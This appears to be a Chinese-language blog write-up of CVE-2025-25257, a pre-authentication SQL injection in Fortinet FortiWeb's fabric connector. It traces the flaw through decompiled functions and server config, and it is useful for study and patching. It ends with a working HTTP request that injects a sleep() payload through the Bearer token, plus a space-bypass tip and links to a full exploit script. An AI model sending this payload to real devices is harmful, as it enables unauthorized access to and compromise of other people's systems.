Fortinet FortiWeb SQL注入 CVE-2025-25257
原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4ODg2MjQ5Mg==&mid=2247484142&idx=1&sn=b7b1520274e05a7c03c144e80761199c
Fortinet FortiWeb SQL注入 CVE-2025-25257
jsjs Resetlab 2025-07-14 12:50
以下 FortiWeb Version版本 affected:
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
导致sql注入漏洞位置在下方
__int64 __fastcall get_fabric_user_by_token(const char *a1)
{
unsigned int v1; // ebx
__int128 v3; // [rsp+0h] [rbp-4B0h] BYREF
__int64 v4; // [rsp+10h] [rbp-4A0h]
_BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF
__int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]
__int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]
void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]
__int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]
void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]
char s[16]; // [rsp+80h] [rbp-430h] BYREF
_BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF
unsigned __int64 v13; // [rsp+488h] [rbp-28h]
v13 = __readfsqword(0x28u);
*(_OWORD *)s = 0;
memset(v12, 0, sizeof(v12));
if ( a1 && *a1 )
{
init_ml_db_obj((__int64)v5);
v1 = v6(v5);
if ( !v1 )
{
**// VULN
snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);**
v1 = v7(v5, s);
if ( !v1 )
{
v4 = 0;
v3 = 0;
v1 = v9(v5, &v3);
if ( !v1 )
{
if ( (_DWORD)v3 == 1 )
{
v10(&v3);
}
else
{
v10(&v3);
v1 = -3;
}
}
}
}
v8(v5);
}
else
{
return (unsigned int)-1;
}
return v1;
}
snprintf(s, 0x400u, “select id from fabric_user.user_table where token=’%s'”, a1);
通过传入进来的a1 进行直接拼接导致sql注入,查询conf配置文件
<Location "/api/fabric/device/status">
SetHandler fabric_device_status-handler
</Location>
<Location "/api/fabric/authenticate">
SetHandler fabric_authenticate-handler
</Location>
<Location ~ "/api/v[0-9]/fabric/widget">
SetHandler fabric_widget-handler
</Location>
在ida里交叉引用上面的函数
发现sub_55ED2EED05F0 –> /api/fabric/device/status
逆向下sub_55ED2EED05F0这个函数里
__int64 __fastcall sub_55ED2EED05F0(__int64 a1)
{
const char *v2; // rdi
unsigned int v3; // r13d
__int64 v5; // r12
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // r14
__int64 v10; // rax
__int64 v11; // rax
__int64 v12; // rax
__int64 v13; // r14
__int64 v14; // rax
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rdx
__int64 v18; // rcx
__int64 v19; // r14
__int64 v20; // rax
const char *v21; // rax
size_t v22; // rax
const char *v23; // rax
v2 = *(const char **)(a1 + 296);
if ( !v2 )
return (unsigned int)-1;
v3 = strcmp(v2, "fabric_device_status-handler");
if ( v3 )
{
return (unsigned int)-1;
}
else if ( (unsigned int)fabric_access_check(a1) ) // [1]
{
v5 = json_object_new_object(a1);
v6 = json_object_new_string(nCfg_debug_zone + 4888LL);
json_object_object_add(v5, "serial", v6);
v7 = json_object_new_string("fortiweb");
json_object_object_add(v5, "device_type", v7);
v8 = json_object_new_string("FortiWeb-VM");
json_object_object_add(v5, "model", v8);
v9 = json_object_new_object(v5);
v10 = json_object_new_int(7);
json_object_object_add(v9, "major", v10);
v11 = json_object_new_int(6);
json_object_object_add(v9, "minor", v11);
v12 = json_object_new_int(3);
json_object_object_add(v9, "patch", v12);
json_object_object_add(v5, "version", v9);
v13 = json_object_new_object(v5);
v14 = json_object_new_int(1043);
在fabric_access_check(a1) 调用 fabric_access_check函数
__int64 __fastcall fabric_access_check(__int64 a1)
{
__int64 v1; // rdi
__int64 v2; // rax
_OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF
char v5; // [rsp+80h] [rbp-20h]
unsigned __int64 v6; // [rsp+88h] [rbp-18h]
v1 = *(_QWORD *)(a1 + 248);
v6 = __readfsqword(0x28u);
v5 = 0;
memset(v4, 0, sizeof(v4));
v3 = apr_table_get(v1, "Authorization"); // [1]
if ( (unsigned int)__isoc23_sscanf(v2, "Bearer %128s", v4) != 1 ) // [2]
return 0;
v5 = 0;
if ( (unsigned int)fabric_user_db_init()
|| (unsigned int)refresh_fabric_user()
|| (unsigned int)get_fabric_user_by_token((const char *)v4) ) // [3]
{
return 0;
}
else
{
return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0);
}
}
通过apr_table_get函数提取http内容Authorization的值赋值给v3
利用__isoc23_sscanf 解析Bearer 之后的内容并且进行输入 运行输入128个字节
随后传入到get_fabric_user_by_token,也就是漏洞点,进行sql注入
GET /api/fabric/device/status HTTP/1.1
Host: ip
Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'
因为空格截断,所以用/**/ 代替空格即可
具体shell脚本可以参考以下链接:
https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/
https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257/blob/main/watchTowr-vs-FortiWeb-CVE-2025-25257.py